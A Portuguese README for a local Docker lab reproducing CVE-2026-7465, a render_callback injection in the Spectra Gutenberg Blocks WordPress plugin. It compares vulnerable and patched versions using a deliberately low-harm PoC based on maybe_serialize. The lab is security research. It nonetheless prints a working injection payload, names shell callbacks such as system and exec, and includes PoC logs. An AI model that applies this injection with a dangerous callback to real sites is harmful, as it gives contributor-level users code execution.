
Laboratório Docker local para analisar e reproduzir CVE-2026-7465 no plugin Spectra Gutenberg Blocks do WordPress. Compara versões vulnerável e corrigida com um PoC de menor dano demonstrando injeção de render_callback.
Laboratório Docker local para analisar e reproduzir o CVE-2026-7465 no plugin WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Este laboratório compara:
vuln: Spectra 2.19.25patched: Spectra 2.19.26A prova é intencionalmente de mínimo dano. Ela não executa comandos de shell, não faz upload de arquivos, não cria usuários e não modifica o contêiner diretamente. A PoC cria um rascunho temporário de post no WordPress, verifica o comportamento do bloco renderizado e, em seguida, exclui o rascunho.
CVE-2026-7465 é uma vulnerabilidade no Spectra Gutenberg Blocks onde atributos de bloco Gutenberg controlados pelo usuário podiam ser passados como argumentos de registro de bloco do WordPress.
Na versão vulnerável, o Spectra registra dinamicamente blocos uagb/* analisados usando atributos do bloco do conteúdo do post:
$registry->register( $block['blockName'], $block['attrs'] );
Como um Contributor pode criar conteúdo de post contendo comentários de bloco Gutenberg, um usuário autenticado com papel de Contributor pode influenciar argumentos de registro como render_callback.
A versão 2.19.26 corrige o problema registrando o bloco com um array de argumentos vazio:
$registry->register( $block['blockName'], array() );
Isso impede que atributos de bloco controlados pelo post se tornem opções de registro de bloco PHP.
Produto:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Versões usadas neste laboratório:
vulnerável: 2.19.25
corrigida: 2.19.26
O changelog do WordPress.org para 2.19.26 afirma que a atualização corrigiu um bug de segurança e credita a Wordfence pela divulgação responsável.
A lógica vulnerável está localizada em:
classes/class-uagb-init-blocks.php
O código vulnerável verifica se um nome de bloco analisado contém o namespace uagb/. Se o bloco ainda não estiver registrado, ele registra o bloco dinamicamente.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
O problema está no segundo argumento:
$block['attrs']
No Gutenberg, atributos de bloco podem ser armazenados dentro do conteúdo do post, por exemplo:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Um Contributor pode criar conteúdo de rascunho de post. Portanto, o atacante pode influenciar $block['attrs'].
Quando esses atributos são passados para WP_Block_Type_Registry::register(), eles se tornam argumentos de registro de bloco. Um argumento de registro sensível é:
render_callback
Isso cria uma primitiva de controle de callback.
Na versão 2.19.26, o Spectra ainda registra o nome do bloco uagb/* analisado, mas não passa mais atributos controlados pelo post como argumentos de registro:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
A mudança importante é:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Isso remove os atributos controlados pelo atacante do caminho de registro de bloco.
maybe_serializeA PoC não usa callbacks PHP perigosos como system, exec, shell_exec ou passthru.
Em vez disso, usa:
maybe_serialize
O conteúdo do bloco de prova é:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Comportamento esperado:
vulnerável:
render_callback dos atributos do bloco é aceito
marcador aparece no conteúdo renderizado
corrigido:
render_callback dos atributos do bloco é ignorado
marcador não aparece no conteúdo renderizado
Isso comprova o comportamento vulnerável sem executar comandos ou escrever arquivos.
Serviços:
db_vuln MariaDB para WordPress vulnerável
db_patched MariaDB para WordPress corrigido
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln configuração única do WordPress para site vulnerável
seed_patched configuração única do WordPress para site corrigido
Portas locais:
http://127.0.0.1:8181 -> WordPress vulnerável
http://127.0.0.1:8182 -> WordPress corrigido
Usuário do WordPress configurado:
nome de usuário: contributor
senha: contributorpass123!
papel: contributor
A PoC é apenas HTTP. Ela interage com o WordPress através de login e requisições à API REST.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Inicie a partir de um ambiente limpo:
docker compose down -v --remove-orphans
docker compose up -d --build
Verifique os contêineres:
docker compose ps
Verifique os logs de inicialização:
docker compose logs seed_vuln seed_patched
Resultado esperado da inicialização:
[+] seed vuln: done
[+] seed patched: done
Teste o alvo vulnerável:
python3 poc/poc.py -t http://127.0.0.1:8181
Veredito esperado para vulnerável:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Teste o alvo corrigido:
python3 poc/poc.py -t http://127.0.0.1:8182
Veredito esperado para corrigido:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
A comparação importante é:
raw_contains_marker
rendered_contains_marker
Tanto os alvos vulnerável quanto corrigido devem mostrar:
raw_contains_marker: True
Isso confirma que o mesmo conteúdo de bloco foi salvo com sucesso em um post de rascunho temporário.
A diferença está na saída renderizada:
vulnerável:
rendered_contains_marker: True
corrigido:
rendered_contains_marker: False
Isso demonstra que a versão vulnerável aceitou o render_callback controlado pelo post, enquanto a versão corrigida não.
Pare e remova contêineres, redes e volumes:
docker compose down -v --remove-orphans
Remova o cache do Python se presente:
rm -rf poc/__pycache__
Este repositório é apenas para pesquisa de segurança local e demonstração de portfólio.
A PoC:
Não execute isso contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
Página do Plugin no WordPress.org: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
Changelog do WordPress.org: atualização de segurança 2.19.26 - Segunda-feira, 4 de Maio de 2026 creditada à Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
Plugin SVN / Trac do WordPress
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/